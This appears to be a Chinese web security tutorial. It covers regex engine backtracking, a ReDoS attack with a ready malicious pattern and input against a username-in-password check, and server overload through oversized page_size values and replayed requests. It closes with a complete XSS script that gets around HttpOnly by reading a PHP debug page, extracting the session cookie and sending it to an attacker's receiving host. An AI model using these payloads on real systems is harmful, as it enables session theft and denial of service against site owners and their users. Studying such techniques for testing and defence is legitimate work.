名称 区别 应用 匹配方式
DFA DFA对于文本串里的每一个字符只需扫描一次,速度快、特性少 awk(大多数版本)、egrep(大多数版本)、flex、lex、MySQL、Procmail… 文本比较正则
NFA NFA要翻来覆去标注字符、取消标注字符,速度慢,但是特性(如:分组、替换、分割)丰富 GNU Emacs、Java、grep(大多数版本)、less、more、.NET语言、PCRE library、Perl、PHP(所有三套正则库)、Python、Ruby、set(大多数版本)、vi… 正则比较文本

文本比较正则:看到一个子正则,就把可能匹配的文本全标注出来,然后再看正则的下一个部分,根据新的匹配结果更新标注。

正则比较文本:看见一个字符,就把它跟正则比较,匹配就标注下来,然后接着往下匹配。一旦不匹配,就忽略这个字符,以此类推,直到回到上一次标注匹配的地方。

那么存在ReDoS的核心就是NFA正则表达式引擎,它的多模式会让自身陷入递归险境,从而导致占用大量CPU资源,性能极差,严重则导致拒绝服务。

NFA 回溯

简单的聊一下什么是回溯,这里有一个正则表达式:

ke{1,3}y 

其意图很简单,e字符需要匹配1-3次,ky匹配一次即可。

现在我们遇到了两个需要匹配的字符串:

  • keeey
  • key

字符串keeey的匹配过程是一气呵成的:匹配k完成之后,完整匹配e,最后是匹配y

字符串key的匹配过程就发生了回溯,其匹配过程如下图所示(橙色为匹配,黄色为不匹配):

图片.png

前两步属于正常,但从第3步开始就不一样了,这里字符串key已经有一个ee{1,3}匹配,但它不会就此作罢,而会继续向后用正则e{1,3}匹配字符y,而当发现字符不匹配后,就忽略该字符,返回到上一次标注匹配的字符e再进行一次匹配,至此就发生了一次回溯,最后匹配y结束整个正则匹配过程。

那么为什么会产生回溯呢?这跟NFA的贪婪模式有关(贪婪模式默认是开启的)。

NFA 贪婪

我们想要彻底摸清楚整个过程就要抛根问底,究其原理,所以来了解一下贪婪模式~

根据以上所举的案例我们可以理解贪婪模式导致的回溯其实就是:不撞南墙不回头

以下所列的元字符,大家应该都清楚其用法:

i. ?: 告诉引擎匹配前导字符0次或一次,事实上是表示前导字符是可选的。
ii. +: 告诉引擎匹配前导字符1次或多次。
iii. *: 告诉引擎匹配前导字符0次或多次。
iv. {min, max}: 告诉引擎匹配前导字符min次到max次。min和max都是非负整数。如果有逗号而max被省略了,则表示max没有限制;如果逗号和max都被省略了,则表示重复min次。

默认情况下,这个几个元字符都是贪婪的,也就是说,它会根据前导字符去匹配尽可能多的内容。这也就解释了之前所举例的回溯事件了。

恶意正则表达式

错误的使用以上所列的元字符就会导致拒绝服务的风险,此类称之为恶意的正则表达式,其表现形式为:

  1. 使用重复分组构造
  2. 在重复组内会出现:重复、交替重叠

简单的表达出来就是以下几种情况(有缺陷的正则表达式会包含如下部分):

(a+)+
([a-zA-Z]+)*
(a|aa)+
(a|a?)+
(.*a){x} for x > 10
ReDoS 恶意正则检测

对于复杂的恶意正则表达式,靠人工去看难免有些许费劲,推荐一款工具:https://github.com/superhuman/rxxr2/tree/fix-multiline (安装参考项目的readme)

该工具支持大批量的正则表达式检测,并给出检测结果。

图片.png

实际场景

很庆幸的是大多Web脚本语言的正则引擎都为NFA,所以也很方便我们做一些Web层面的挖掘。

做测试的时候大家有没有发现过这样一个逻辑:密码中不能包含用户名

图片.png

这是一个用户添加的功能,其校验是通过后端的,请求包如下

POST /index/userAdd HTTP/1.1
Host: [host]
...

nickname=xxx&password=xxx&...

password中包含nickname则提示密码中不能包含用户名

利用Python简单还原一下后端逻辑:

# -*- coding: utf-8 -*-
import sys,re
username = sys.argv[1]
password = sys.argv[2]

regex = re.compile(username)
if (regex.match(password)):
print u'密码中不能包含用户名'
else:
print u'用户添加成功'

图片.png

这时候用户名是一个正则,密码是一个待匹配字符串,而这时候我们都可以进行控制,也就能构建恶意的正则的表达式和字符串进行ReDoS攻击。

恶意的正则表达式:a(b|c+)+d
字符串(我们要想让其陷入回溯模式就不能让其匹配到,所以使用ac......cx的格式即可):acccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccx

如下图所示ReDoS攻击成功:

图片.png

我们只需要以同样的方式替换原请求包中的参数值即可(前提是该功能没有限制字符串长度和特殊字符)~

还有更多应用场景等待去发现,这里就不过多赘述了~

数据查询数量可控

想必如下这类接口大家都见多了吧:

/api/getInfo?page=1&page_size=10 ...
/api/viewData?startTime=&endTime=1591258015173 ...
...

而这类接口通常都是调用数据的,当一个系统数据量十分大(这也是拒绝服务的前提)的时候就需要分页功能去优化性能,那我们尝试将这个可控的数据查询量的参数数值进行修改会怎么样?比如page_size=10000,再去请求会发现服务器明显有返回延迟(大量数据的查询展示):

图片.png

那如果是page_size=100000000000呢?想象一下,从查询到数据格式的处理返回展示,要占用巨大的服务器资源,我们如果尝试去多次重放此类请求,服务器终究还是无法承受这样的“力量”,最后导致宕机…

时间参数startTime也是如此,我们可以置空或设为0让其查询数据的时间范围为最大…以此类推、举一反三。

服务器开了HTTP-only如何获取cookie

什么是http-only

HttpOnly属性:

如果在Cookie中设置了”HttpOnly”属性,那么通过程序(JS脚本、Applet等)将无法读取到Cookie信息,这样能有效的防止XSS攻击。

如何绕过防御呢?

我们可以利用框架的DEBUG模式来获取,比如说PHP、Django等等框架都会有测试页面,这里用PHP来演示,核心原理就是利用js去请求debug页面,然后用正则匹配cookie字段,然后把cookie发送到接收平台上

<script>
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
} else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
function getS() {
var Url = 'http://XXX.XXX.XXX.XX:8080/test.php';
createXmlHttp();
xmlHttp.onreadystatechange = writeS;
xmlHttp.open("GET", Url, true);
xmlHttp.send(null);
}
function writeS() {
if (xmlHttp.readyState == 4) {
var x = xmlHttp.responseText.match(/<td[^<>]+?>_SERVER\["HTTP_COOKIE"\]<\/td><td[^<>]+?>([\w\W]+?)<\/td>/);
if (x){
var url = "http://XXX.XXX.XXX.XX:8888/?echo=" + x; //x 是获取的cookie内容 url是xss平台
createXmlHttp();
xmlHttp.open("GET", url, true);
xmlHttp.send(null);
}
}
}
getS();
</script>